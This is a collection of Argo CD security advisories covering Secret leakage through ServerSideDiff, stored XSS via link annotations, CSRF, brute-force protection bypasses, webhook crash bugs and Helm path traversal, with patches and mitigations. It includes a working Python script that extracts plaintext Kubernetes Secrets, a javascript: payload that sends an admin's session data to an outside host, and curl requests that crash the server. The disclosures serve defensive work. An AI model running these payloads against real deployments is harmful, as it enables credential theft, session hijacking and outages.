Summary There is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism.
Details Argo CD masks Secret data in every endpoint that returns Kubernetes resource state except one. All the other endpoints such as GetManifests, GetManifestsWithFiles, GetResource and PatchResource utilize hideSecretData() to mask the returned secret value. The vulnerable function ServerSideDiff gRPC/REST endpoint (/application.ApplicationService/ServerSideDiff) constructs its response with raw, unmasked PredictedLive and NormalizedLive states:
// server/application/application.go:3051-3062 responseDiffs = append(responseDiffs, &v1alpha1.ResourceDiff{ TargetState: string(diffRes.PredictedLive), LiveState: string(diffRes.NormalizedLive), })
A user only requires RBAC to call this ServerSideDiff function. Every authenticated Argo CD user has get access via the default role:catch-all policy. However, Argo CD has a defense layer called removeWebhookMutation() that normally strips non-Argo CD-managed fields from the Server Side Apply (SSA) dry-run response and merges them with the client-provided (masked) live state. This prevents real Secret values from leaking through the diff. However, this defense is entirely skipped when the Application has the annotation argocd.argoproj.io/compare-options: IncludeMutationWebhook=true. When IncludeMutationWebhook=true is set, ignoreMutationWebhook becomes false, and the defense is skipped entirely:
if o.ignoreMutationWebhook { predictedLive, err = removeWebhookMutation(predictedLive, live, o.gvkParser, o.manager) }
The raw Kubernetes SSA dry-run response which contains real Secret values read from etcd is then flown directly into the API response with no masking.
When ServerSideDiff is called, the handler invokes K8sServerSideDryRunner.Run(), which performs the equivalent of:
kubectl apply --server-side --dry-run=server --field-manager=argocd-controller For extraction to succeed, the Secret's data fields must be owned by at least one non-Argo CD SSA field manager. When argocd-controller is the sole field manager for data, the SSA dry-run garbage-collects those fields (since the target manifest omits them). When a second manager exists (e.g., kube-controller-manager), that manager retains ownership and the real values survive in the response.
PoC #!/usr/bin/env python3 """ Argo CD ServerSideDiff Secret Extraction PoC
Usage: python3 poc.py <host> <token> <app> <project>
Example: python3 poc.py argocd.int.<customer>.com eyJhbG... my-app my-project """
import base64 import http.client import json import ssl import struct import sys import urllib.parse from collections import defaultdict
def encodevarint(v): out = [] while v > 0x7f: out.append((v & 0x7f) | 0x80) v >>= 7 out.append(v & 0x7f) return bytes(out)
def encodestr(field, val): tag = (field << 3) | 2 raw = val.encode() return encodevarint(tag) + encodevarint(len(raw)) + raw
def encodebytes(field, val): tag = (field << 3) | 2 return encodevarint(tag) + encodevarint(len(val)) + val
def encodebool(field, val): tag = (field << 3) | 0 return encodevarint(tag) + encodevarint(1 if val else 0)
def decodevarint(data, pos): val, shift = 0, 0 while pos < len(data): b = data[pos]; pos += 1 val |= (b & 0x7f) << shift; shift += 7 if not (b & 0x80): break return val, pos
def decodefields(data): fields = defaultdict(list) pos = 0 while pos < len(data): tag, pos = decodevarint(data, pos) wtype = tag & 0x07 if wtype == 0: val, pos = decodevarint(data, pos) fields[tag >> 3].append(val) elif wtype == 2: length, pos = decodevarint(data, pos) fields[tag >> 3].append(data[pos:pos + length]) pos += length elif wtype == 5: fields[tag >> 3].append(data[pos:pos + 4]); pos += 4 elif wtype == 1: fields[tag >> 3].append(data[pos:pos + 8]); pos += 8 else: break return dict(fields)
-- grpc-web framing --
def grpcframe(payload): return b"\x00" + struct.pack(">I", len(payload)) + payload
def decodegrpcframes(data): frames, pos = [], 0 while pos + 5 <= len(data): flag = data[pos] length = struct.unpack(">I", data[pos+1:pos+5])[0] pos += 5 frames.append((flag, data[pos:pos+length])) pos += length return frames
-- http helpers --
def makeconn(host): ctx = ssl.createdefaultcontext() ctx.checkhostname = False ctx.verifymode = ssl.CERTNONE return http.client.HTTPSConnection(host, 443, context=ctx, timeout=10)
def restget(conn, path, token): conn.request("GET", path, headers={ "Authorization": "Bearer " + token, "Accept": "application/json", }) resp = conn.getresponse() body = resp.read() if resp.status != 200: return None, "HTTP %d" % resp.status return json.loads(body), None
def grpcpost(conn, token, payload): conn.request("POST", "/application.ApplicationService/ServerSideDiff", body=grpcframe(payload), headers={ "Content-Type": "application/grpc-web+proto", "Accept": "application/grpc-web+proto", "X-Grpc-Web": "1", "Authorization": "Bearer " + token, }) resp = conn.getresponse() raw = resp.read() if resp.status != 200: return None, "HTTP %d" % resp.status frames = decodegrpcframes(raw) for flag, fdata in frames: if flag == 0: return fdata, None return None, "no data frame in response"
-- main --
def main(): if len(sys.argv) != 5: print("Usage: python3 poc.py <host> <token> <app> <project>") sys.exit(1)
host, token, appname, project = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4] conn = makeconn(host)
# step 1: list managed resources for the app, find secrets print("[] Fetching managed resources for %s/%s ..." % (project, appname)) data, err = restget(conn, "/api/v1/applications/%s/managed-resources" % urllib.parse.quote(appname), token) if err: print("[-] Failed: %s" % err); sys.exit(1)
secrets = [] for r in data.get("items", []): if r.get("kind") != "Secret": continue name = r.get("name", "") ns = r.get("namespace", "") live = r.get("liveState", "") stype = "Opaque" if live and live != "null": try: stype = json.loads(live).get("type", "Opaque") except Exception: pass secrets.append((name, ns, stype, live))
if not secrets: print("[-] No secrets found in managed resources"); sys.exit(0) print("[+] Found %d secrets" % len(secrets))
# step 2: call ServerSideDiff for each secret totalextracted = 0 for sname, sns, stype, livejson in secrets: # build minimal target manifest (no data field) target = {"apiVersion": "v1", "kind": "Secret", "metadata": {"name": sname, "namespace": sns}, "type": stype}
# copy required annotations from live state for SA tokens if livejson and livejson != "null": try: liveannots = json.loads(livejson).get("metadata", {}).get("annotations", {}) k8sannots = {k: v for k, v in liveannots.items() if k.startswith("kubernetes.io/")} if k8sannots: target["metadata"]["annotations"] = k8sannots except Exception: pass
# for TLS secrets, include required placeholder keys if stype == "kubernetes.io/tls": target["data"] = { "tls.crt": base64.b64encode(b"PLACEHOLDER").decode(), "tls.key": base64.b64encode(b"PLACEHOLDER").decode(), } elif stype == "kubernetes.io/dockerconfigjson": target["data"] = {".dockerconfigjson": base64.b64encode(b'{"auths":{}}').decode()}
# encode the grpc request lr = b"" lr += encodestr(2, "Secret") # kind lr += encodestr(3, sns) # namespace lr += encodestr(4, sname) # name if livejson: lr += encodestr(6, livejson) # liveState lr += encodebool(12, True) # modified
query = encodestr(1, appname) query += encodestr(3, project) query += encodebytes(4, lr) query += encodestr(5, json.dumps(target))
# reconnect for each call (simple, no pool needed for poc) try: conn = makeconn(host) respdata, err = grpcpost(conn, token, query) except Exception as e: print(" [!] %s/%s: %s" % (sns, sname, e)) continue if err: print(" [!] %s/%s: %s" % (sns, sname, err)) continue
# parse response respfields = decodefields(respdata) for itembytes in respfields.get(1, []): if not isinstance(itembytes, bytes): continue ifields = decodefields(itembytes)
# field 5 = targetState (predictedLive — has real values from etcd) for raw in ifields.get(5, []): if not isinstance(raw, bytes): continue try: obj = json.loads(raw) except Exception: continue if obj.get("kind") != "Secret": continue secretdata = obj.get("data", {}) if not secretdata: continue
# check for real (non-masked) values realkeys = {} for k, v in secretdata.items(): if not v: continue if all(c == "+" for c in v): continue # masked by argocd try: decoded = base64.b64decode(v) text = decoded.decode("utf-8", errors="replace") except Exception: continue if all(c == "+" for c in text) and text: continue # masked (base64 of +++...) realkeys[k] = text
if realkeys: totalextracted += 1 print("\n [] %s/%s (%s)" % (sns, sname, stype)) print(" %d/%d keys extracted:" % (len(realkeys), len(secretdata))) for k in sorted(realkeys): v = realkeys[k].replace("\n", "\\n") if len(v) > 120: v = v[:120] + "..." print(" %s: %s" % (k, v))
print("\n[] Done. %d secrets with real values extracted." % totalextracted)
if name == "main": main()
Impact Any user with Argo CD application get permissions can extract real Kubernetes Secret values including service account tokens, TLS certificates, database credentials, and API keys. On Applications where IncludeMutationWebhook=true is already set, exploitation requires only read-only Argo CD access.
Summary The original fix for GHSA-3v3m-wc6v-x4x3 is incomplete. argocd app diff --server-side-diff can still expose Kubernetes Secret values embedded in the kubectl.kubernetes.io/last-applied-configuration annotation.
The prior fix masks top-level Secret data in ServerSideDiff responses, but it does not fully sanitize Secret data stored inside the last-applied-configuration annotation. If a Secret was previously created or updated using client-side apply, that annotation may contain raw data, stringData, and sensitive annotations. These values can be shown in UI/CLI diffs.
Details The ServerSideDiff endpoint returns ResourceDiff.TargetState / LiveState based on server-side dry-run output. Kubernetes server-side dry-run can return a full predicted live Secret object that carries forward existing live annotations, including:
kubectl.kubernetes.io/last-applied-configuration For Secrets created with client-side apply, that annotation can contain a JSON-serialized Secret manifest with sensitive values.
The masking path calls HideSecretData(target, live, ...). However, HideSecretData only rewrites the last-applied annotation on the second argument (live). In server-side diff, the first argument can be predictedLive, not a clean Git target. predictedLive can also contain kubectl.kubernetes.io/last-applied-configuration, so the first object’s embedded annotation can remain unmasked.
PoC Create an app containing this Secret manifest: yaml apiVersion: v1 kind: Namespace metadata: name: last-applied-secret-repro --- apiVersion: v1 kind: Secret metadata: name: secret namespace: last-applied-secret-repro annotations: app: test token: SECRETVAL type: Opaque data: password: U0VDUkVUVkFM username: U0VDUkVUVkFM Create and Sync Argo App yaml apiVersion: argoproj.io/v1alpha1 kind: Application metadata: name: last-applied-secret-repro namespace: argocd annotations: argocd.argoproj.io/compare-options: ServerSideDiff=true,IncludeMutationWebhook=true spec: project: default destination: server: https://kubernetes.default.svc namespace: last-applied-secret-repro source: repoURL: https://github.com/YOURORG/YOURREPO.git targetRevision: HEAD path: last-applied-secret-repro syncPolicy: automated: prune: true selfHeal: true syncOptions: - CreateNamespace=true - ServerSideApply=true Run argo cd app diff argocd app diff last-applied-secret-repro --server-side-diff --exit-code=false ❯ argocd app diff last-applied-secret-repro --server-side-diff --exit-code=false
===== /Secret last-applied-secret-repro/secret ====== 10c10,11 < kubectl.kubernetes.io/last-applied-configuration: '{"apiVersion":"v1","data":{"password":"++++++++","username":"++++++++"},"kind":"Secret","metadata":{"annotations":{"app":"test","argocd.argoproj.io/tracking-id":"last-applied-secret-repro:/Secret:last-applied-secret-repro/secret","token":"SECRETVAL"},"name":"secret","namespace":"last-applied-secret-repro"},"type":"Opaque"}' --- kubectl.kubernetes.io/last-applied-configuration: | {"apiVersion":"v1","data":{"password":"U0VDUkVUVkFM","username":"U0VDUkVUVkFM"},"kind":"Secret","metadata":{"annotations":{"app":"test","argocd.argoproj.io/tracking-id":"last-applied-secret-repro:/Secret:last-applied-secret-repro/secret","token":"SECRETVAL"},"name":"secret","namespace":"last-applied-secret-repro"},"type":"Opaque"} The secret value can be seen inside the diff
Impact Authenticated Argo CD users who can view application diffs may be able to read Secret values that should be masked.
Impacted values include: Secret data embedded in kubectl.kubernetes.io/last-applied-configuration
Summary
A user with application write access (developer role) can set link.argocd.argoproj.io/ annotations on any ArgoCD Application. These annotation values are rendered in the Summary tab's URLs section as <a href> elements without URL validation. Using the pipe-separator trick (Display Text | javascript:...), an attacker can inject a javascript: URI while displaying a legitimate-looking label (e.g. GitHub Repo). When a higher-privileged user (admin) clicks the link, arbitrary JavaScript executes in the ArgoCD origin context in the admin's authenticated session context, enabling API exfiltration and privilege escalation from developer to admin.
Details
Vulnerable sink: ui/src/app/applications/components/application-summary/application-summary.tsx:277
tsx const parts = (url || '').split('|'); <a key={i} href={parts.length > 1 ? parts[1] : parts[0]} target='blank'> {parts[0]} </a>
The annotation value is split on |. parts[0] becomes the visible link label; parts[1] becomes the href. No call to isValidURL() is made, unlike the protected ApplicationURLs component (application-urls.tsx:72,80) which does validate URLs and blocks javascript:. The target='blank' opens a new tab that inherits the ArgoCD origin, giving the injected script same-origin fetch access to all ArgoCD APIs using the victim's authenticated session (credentialed fetch() calls).
Root cause: React 16.x does not block javascript: URIs in href attributes (this protection was added in React 19). The helper isValidURL() exists in shared/utils.ts but is not applied to this sink.
CSP: ArgoCD's default Content Security Policy is frame-ancestors 'self' only — no script-src, no connect-src, no default-src — providing zero XSS execution mitigation.
PoC
Prerequisites: Developer role with application write access (e.g. RBAC: p, role:developer, applications, , /, allow).
Step 1 — Set malicious annotation as developer:
bash kubectl annotate application <app-name> -n argocd \ 'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch("https://<argocd-host>/api/v1/session/userinfo",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://xxx.oastify.com/?d="+btoa(JSON.stringify(d)),{mode:"no-cors"}))'
The URL section in the admin's Summary tab renders the link as "GitHub Repo" — the javascript: payload is invisible in the displayed text.
Step 2 — Admin opens Summary tab of the annotated application and clicks the link.
Step 3 — JavaScript executes at the ArgoCD origin and exfiltrates admin session data via out-of-band HTTP request. Tested with Burp Collaborator:
javascript // Payload used during testing (Burp Collaborator OOB): fetch("https://<argocd-host>/api/v1/session/userinfo", {credentials:"include"}) .then(r => r.json()) .then(d => fetch("https://xxx.oastify.com/?d=" + btoa(JSON.stringify(d)), {mode:"no-cors"}))
Step 4 — Burp Collaborator received the OOB HTTP interaction containing the base64-encoded admin session data. Decoded response:
json {"iss":"argocd","loggedIn":true,"username":"admin"}
Tested on: ArgoCD v3.3.8 (commit 0850e97), React 16.9.3.
Impact
- Stored XSS — payload persists in the Kubernetes Application resource until manually removed - Privilege escalation — developer role → admin session hijacking via authenticated API calls - Maximum stealth — the injected link displays as any attacker-chosen text; the javascript: href is never visible to the victim - No server-side interaction required — purely client-side exploit, no network egress needed for execution (exfiltration uses no-cors fetch, bypassed by absent connect-src CSP) - Any admin or operator who views the Summary tab of the compromised application is affected
Credits
Discovered and reported by Jan Kahmen (jan@turingpoint.de) — turingpoint.de
Impact
The Argo CD API prior to versions 2.10-rc2, 2.9.4, 2.8.8, and 2.7.16 are vulnerable to a cross-server request forgery (CSRF) attack when the attacker has the ability to write HTML to a page on the same parent domain as Argo CD.
A CSRF attack works by tricking an authenticated Argo CD user into loading a web page which contains code to call Argo CD API endpoints on the victim’s behalf. For example, an attacker could send an Argo CD user a link to a page which looks harmless but in the background calls an Argo CD API endpoint to create an application running malicious code.
Argo CD uses the “Lax” SameSite cookie policy to prevent CSRF attacks where the attacker controls an external domain. The malicious external website can attempt to call the Argo CD API, but the web browser will refuse to send the Argo CD auth token with the request.
Many companies host Argo CD on an internal subdomain, such as https://argo-cd.internal.example.com. If an attacker can place malicious code on, for example, https://test.internal.example.com/, they can still perform a CSRF attack. In this case, the “Lax” SameSite cookie does not prevent the browser from sending the auth cookie, because the destination is a parent domain of the Argo CD API.
Browsers generally block such attacks by applying CORS policies to sensitive requests with sensitive content types. Specifically, browsers will send a “preflight request” for POSTs with content type “application/json” asking the destination API “are you allowed to accept requests from my domain?” If the destination API does not answer “yes,” the browser will block the request.
Before the patched versions, Argo CD did not validate that requests contained the correct content type header. So an attacker could bypass the browser’s CORS check by setting the content type to something which is considered “not sensitive” such as “text/plain.” The browser wouldn’t send the preflight request, and Argo CD would happily accept the contents (which are actually still JSON) and perform the requested action (such as running malicious code).
Patches
A patch for this vulnerability has been released in the following Argo CD versions:
2.10-rc2 2.9.4 2.8.8 2.7.16
🚨 The patch contains a breaking API change. 🚨 The Argo CD API will no longer accept non-GET requests which do not specify application/json as their Content-Type. The accepted content types list is configurable, and it is possible (but discouraged) to disable the content type check completely.
Workarounds
The only way to completely resolve the issue is to upgrade.
Credits
The Argo CD team would like to express their gratitude to An Trinh of Calif who reported the issue confidentially according to our guidelines and published a helpful blog post to describe the issue. We would also like to thank them for actively participating in the review for the patch.
References
The problem was originally reported in a GitHub issue
As of v1.5.0, the default admin password is set to the argocd-server pod name. For insiders with access to the cluster or logs, this issue could be abused for privilege escalation, as Argo has privileged roles. A malicious insider is the most realistic threat, but pod names are not meant to be kept secret and could wind up just about anywhere.
As of v1.5.0, the Argo API does not implement anti-automation measures such as rate limiting, account lockouts, or other anti-bruteforce measures. Attackers can submit an unlimited number of authentication attempts without consequence.
As of v1.5.0, the Argo web interface authentication system issued immutable tokens. Authentication tokens, once issued, were usable forever without expiration—there was no refresh or forced re-authentication.
Impact
"Local sync" is an Argo CD feature that allows developers to temporarily override an Application's manifests with locally-defined manifests. Use of the feature should generally be limited to highly-trusted users, since it allows the user to bypass any merge protections in git.
An improper validation bug allows users who have create privileges but not override privileges to sync local manifests on app creation. All other restrictions, including AppProject restrictions are still enforced. The only restriction which is not enforced is that the manifests come from some approved git/Helm/OCI source.
The bug was introduced in 1.2.0-rc1 when the local manifest sync feature was added.
Patches
The bug has been patched in the following versions:
2.10.3 2.9.8 2.8.12
Workarounds
To immediately mitigate the risk of branch protection bypass, remove applications, create RBAC access. The only way to eliminate the issue without removing RBAC access is to upgrade to a patched version.
Branch protection rules and review requirements are a great way to enforce security constraints in a GitOps environment, but they should be just one layer in a multi-layered approach. Make sure your AppProject and RBAC restrictions are as thorough as possible to prevent a review bypass vulnerability from permitting excessive damage.
References
Argo CD RBAC documentation
For more information
Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd
Impact All versions of ArgoCD starting from v2.4 have a bug where the ArgoCD repo-server component is vulnerable to a Denial-of-Service attack vector. Specifically, it's possible to crash the repo server component through an out of memory error by pointing it to a malicious Helm registry. The loadRepoIndex() function in the ArgoCD's helm package, does not limit the size nor time while fetching the data. It fetches it and creates a byte slice from the retrieved data in one go. If the registry is implemented to push data continuously, the repo server will keep allocating memory until it runs out of it.
Patches A patch for this vulnerability has been released in the following Argo CD versions:
v2.10.5 v2.9.10 v2.8.14
For more information If you have any questions or comments about this advisory:
Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd
Credits This vulnerability was found & reported by Jakub Ciolek
The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue
Summary An attacker can exploit a chain of vulnerabilities, including a Denial of Service (DoS) flaw and in-memory data storage weakness, to effectively bypass the application's brute force login protection. This makes the application susceptible to brute force attacks, compromising the security of all user accounts.
Details The issue arises from two main vulnerabilities:
1. The application crashes due to a previously described DoS vulnerability caused by unsafe array modifications in a multi-threaded environment. 2. The application saves the data of failed login attempts in-memory, without persistent storage. When the application crashes and restarts, this data is lost, resetting the brute force protections.
go // LoginAttempts is a timestamped counter for failed login attempts
type LoginAttempts struct { // Time of the last failed login LastFailed time.Time json:"lastFailed" // Number of consecutive login failures FailCount int json:"failCount"
}
By chaining these vulnerabilities, an attacker can circumvent the limitations placed on the number of login attempts.
PoC 1. Run the provided PoC script. 2. Observe that the script makes 6 login attempts, one more than the set limit of 5 failed attempts. 3. This is made possible because the script triggers a server restart via the DoS vulnerability after 5 failed attempts, thus resetting the counter for failed login attempts.
Impact This is a critical security vulnerability that allows attackers to bypass the brute force login protection mechanism. Not only can they crash the service affecting all users, but they can also make unlimited login attempts, increasing the risk of account compromise.
Impact
I can convince the UI to let me do things with an invalid Application. 1. Admin gives me p, michael, applications, , demo/, allow, where demo can just deploy to the demo namespace 2. Admin gives me AppProject dev which reconciles from ns dev-apps 3. Admin gives me p, michael, applications, sync, dev/, allow, i.e. no updating via the UI allowed, gitops-only 4. I create an Application called pwn in dev-apps with project dev and sync the app with sources from git 5. I change the Application’s project to demo via kubectl or gitops (whichever mechanism my admins have given me, because it should be safe) 6. I use the UI to edit the resource which should only be mutable via gitops
Patches A patch for this vulnerability has been released in the following Argo CD versions:
v2.10.7 v2.9.12 v2.8.16
For more information If you have any questions or comments about this advisory:
Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd
Credits This vulnerability was found & reported by @crenshaw-dev (Michael Crenshaw)
The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue
Summary An attacker can effectively bypass the rate limit and brute force protections by exploiting the application's weak cache-based mechanism. This loophole in security can be combined with other vulnerabilities to attack the default admin account. This flaw undermines a previously patched CVE intended to protect against brute-force attacks.
Details The application's brute force protection relies on a cache mechanism that tracks login attempts for each user. This cache is limited to a defaultMaxCacheSize of 1000 entries. An attacker can overflow this cache by bombarding it with login attempts for different users, thereby pushing out the admin account's failed attempts and effectively resetting the rate limit for that account.
The brute force protection mechanism's code: go if failed && len(failures) >= getMaximumCacheSize() { log.Warnf("Session cache size exceeds %d entries, removing random entry",
getMaximumCacheSize()) idx := rand.Intn(len(failures) - 1) var rmUser string i := 0 for key := range failures {
if i == idx { rmUser = key
delete(failures, key)
break
}
i++ }
log.Infof("Deleted entry for user %s from cache", rmUser) }
PoC 1. Set up the application environment and identify the login page. 2. Execute 4 failed login attempts for the admin account. 3. Run a Burp Intruder attack to populate the cache with login attempts for usernames ranging from 1 to 10000. 4. After 1000 attempts, start monitoring to see if the admin entries in the cache have been cleared. 5. At this point, brute-force the admin account.
In just 15 minutes, the PoC was able to perform 230 brute force attempts on the admin account. This rate allows for approximately 1000 requests per hour, effectively rendering the older CVE rate limit patches useless.
Impact This is a severe vulnerability that enables attackers to perform brute force attacks at an accelerated rate, especially targeting the default admin account.
Summary An attacker can exploit a critical flaw in the application to initiate a Denial of Service (DoS) attack, rendering the application inoperable and affecting all users. The issue arises from unsafe manipulation of an array in a multi-threaded environment.
Details The vulnerability is rooted in the application's code, where an array is being modified while it is being iterated over. This is a classic programming error but becomes critically unsafe when executed in a multi-threaded environment. When two threads interact with the same array simultaneously, the application crashes.
The core issue is located in expireOldFailedAttempts function: go func expireOldFailedAttempts(maxAge time.Duration, failures map[string]LoginAttempts) int {
expiredCount := 0 for key, attempt := range failures {
if time.Since(attempt.LastFailed) > maxAgetime.Second { expiredCount += 1 delete(failures, key) // Vulnerable code
} }
return expiredCount }
The function modifies the array while iterating it which means the code will cause an error and crash the application pod, inspecting the logs just before the crash we can confirm: go goroutine 2032 [running]: github.com/argoproj/argo-cd/v2/util/session.expireOldFailedAttempts(0x12c, 0xc000adecd8)
/go/src/github.com/argoproj/argo-cd/util/session/sessionmanager.go:304 +0x7c github.com/argoproj/argo-cd/v2/util/session.(SessionManager).updateFailureCount(0xc00035 af50, {0xc001b1f578, 0x11}, 0x1)
/go/src/github.com/argoproj/argo-cd/util/session/sessionmanager.go:320 +0x7f github.com/argoproj/argo-cd/v2/util/session.(SessionManager).VerifyUsernamePassword(0xc 00035af50, {0xc001b1f578, 0x11}, {0xc000455148, 0x8}) PoC To reproduce the vulnerability, you can use the following steps:
1. Launch the application. 2. Trigger the code path that results in the expireOldFailedAttempts() function being called in multiple threads. 3. In the attached PoC script we are restarting the server in a while loop, causing the application to be unresponsive at all.
Impact This is a Denial of Service (DoS) vulnerability. Any attacker can crash the application continuously, making it impossible for legitimate users to access the service. The issue is exacerbated because it does not require authentication, widening the pool of potential attackers.
Summary
Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients.
With the default configuration, no webhook.bitbucketserver.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Bitbucket-Server push event whose JSON field repository.links.clone is anything other than an array.
A single unauthenticated curl request can push the control-plane into CrashLoopBackOff; repeating the request on each replica causes a complete outage of the API.
Details go // webhook.go (Bitbucket-Server branch in affectedRevisionInfo)
for , l := range payload.Repository.Links["clone"].([]any) { // <- unsafe cast link := l.(map[string]any) ... }
If links.clone is a string, number, object, or null, the first type assertion panics: interface conversion: interface {} is string, not []interface {}
The worker goroutine created by startWorkerPool lacks a recover, so the panic terminates the whole binary.
PoC
Save as payload-panic.json - note the non-array links.clone.
json { "eventKey": "repo:refschanged", "repository": { "name": "guestbook", "fullName": "APP/guestbook", "links": { "clone": "boom" } }, "changes": [ { "ref": { "id": "refs/heads/master" } } ] }
shell curl -k -X POST https://argocd.example.com/api/webhook \ -H 'X-Event-Key: repo:refschanged' \ -H 'Content-Type: application/json' \ --data-binary @payload-panic.json
Observed crash (argocd-server restart):
panic: interface conversion: interface {} is string, not []interface {} goroutine 192 [running]: github.com/argoproj/argo-cd/v3/server/webhook.affectedRevisionInfo webhook.go:209 +0x1218 ...
Mitigation
If you use Bitbucket Server and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.
If you do not use Bitbucket Server, you can set the webhook secret to a long, random value to effectively disable webhook handling for Bitbucket Server payloads.
diff apiVersion: v1 kind: Secret metadata: name: argocd-secret type: Opaque data: + webhook.bitbucketserver.secret: <your base64-encoded secret here>
For more information
Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd
Credits
Discovered by Jakub Ciolek at AlphaSense.
Summary
In the default configuration, webhook.azuredevops.username and webhook.azuredevops.password not set, Argo CD’s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.
The slice index [0] is accessed without a length check, causing an index-out-of-range panic.
A single unauthenticated HTTP POST is enough to kill the process.
Details
go case azuredevops.GitPushEvent: // util/webhook/webhook.go -- line ≈147 revision = ParseRevision(payload.Resource.RefUpdates[0].Name) // panics if slice empty change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID) change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID) touchedHead = payload.Resource.RefUpdates[0].Name == payload.Resource.Repository.DefaultBranch
If the attacker supplies "refUpdates": [], the slice has length 0.
The webhook code has no recover(), so the panic terminates the entire binary.
PoC
payload-azure-empty.json: json { "eventType": "git.push", "resource": { "refUpdates": [], "repository": { "remoteUrl": "https://example.com/dummy", "defaultBranch": "refs/heads/master" } } }
curl call:
shell curl -k -X POST https://argocd.example.com/api/webhook \ -H 'X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111' \ -H 'Content-Type: application/json' \ --data-binary @payload-azure-empty.json
Observed crash:
panic: runtime error: index out of range [0] with length 0
goroutine 205 [running]: github.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo webhook.go:147 +0x1ea5 ...
Mitigation
If you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.
If you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.
diff apiVersion: v1 kind: Secret metadata: name: argocd-secret type: Opaque data: + webhook.azuredevops.username: <your base64-encoded secret here> + webhook.azuredevops.password: <your base64-encoded secret here>
For more information
Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd
Credits
Discovered by Jakub Ciolek at AlphaSense.
Impact
All versions of Argo CD are vulnerable to a path traversal bug that allows to pass arbitrary values files to be consumed by Helm charts.
Additionally, it is possible to craft special Helm chart packages containing value files that are actually symbolic links, pointing to arbitrary files outside the repository's root directory.
If an attacker with permissions to create or update Applications knows or can guess the full path to a file containing valid YAML, they can create a malicious Helm chart to consume that YAML as values files, thereby gaining access to data they would otherwise have no access to.
The impact can especially become critical in environments that make use of encrypted value files (e.g. using plugins with git-crypt or SOPS) containing sensitive or confidential data, and decrypt these secrets to disk before rendering the Helm chart.
Also, because any error message from helm template is passed back to the user, and these error messages are quite verbose, enumeration of files on the repository server's file system is possible.
Patches
A patch for this vulnerability has been released in the following Argo CD versions:
v2.3.0 v2.2.4 v2.1.9
We urge users of Argo CD to update their installation to one of the fixed versions as listed above.
Workarounds
No workaround for this issue.
References
https://apiiro.com/blog/malicious-kubernetes-helm-charts-can-be-used-to-steal-sensitive-information-from-argo-cd-deployments https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-24348
For more information
Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd
Credits
The path traversal vulnerability was discovered and reported by Moshe Zioni, VP Security Research, Apiiro.
During the development of a fix for the path traversal vulnerability, the Argo CD team discovered the related issue with symbolic links.
The Argo CD team would like to thank Moshe Zioni for the responsible disclosure, and the constructive discussions during handling this issue!